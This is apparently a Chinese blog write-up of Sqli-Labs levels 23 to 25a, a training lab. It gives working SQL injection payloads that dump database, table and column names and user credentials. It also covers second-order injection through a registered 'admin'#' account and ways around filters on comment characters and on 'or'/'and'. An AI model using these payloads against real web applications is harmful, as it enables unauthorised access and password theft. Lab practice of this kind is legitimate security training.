Sqli-Labs 闯关 less 23-25

Less 23

 我们看这关看着跟第一关有点像。我们观察代码,发现这关对--+和#都进行了转义,不能再用这种方式注释。

所以我们可以把union select联合查询放在id里面。一种方法就是用新的注释符:  ;%00或者and和or语句进行闭合

 

爆库:?id=' union select 1,13,database() '

 

 

 爆表:?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'='

 

 爆列:?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'='

 

 爆用户名密码:?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1'='

 

 

Less 24

我们进入这个页面发现跟往常的还不一样。

 

我们查了查网页,发现这是个二次注入。

二次注入,可以概括为以下两步:

第一步:插入恶意数据 进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据 开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

 

按照二次注入的原理我们先创建个恶意账户  admin'#,密码我们就输入123。

注册:

 

登录:

 

 

修改密码:密码改成123456 了

 

 

现在再用用户名 admin ,密码为123456登录就可以了。。

 

 

Less 25

我们还是先测试一下。

 

 

 

 我们看到第二种没有报错可以注入。

方法一:--+绕过,一般注入。

 爆库:?id=-1' union select 1,2,database()--+

 

 

 中间过程省略~~~,获得用户名密码:?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+

 

 

 方法二:双写or或and绕过

 还是先测试,用双写。

 

 

 

 

 后面过程不赘述了。。

 

Less 25a

 这关和上一关的不同就是这关没有任何包裹。

 

 

 

 

posted @ 2020-02-09 20:20  戚源  阅读(128)  评论(0编辑  收藏  举报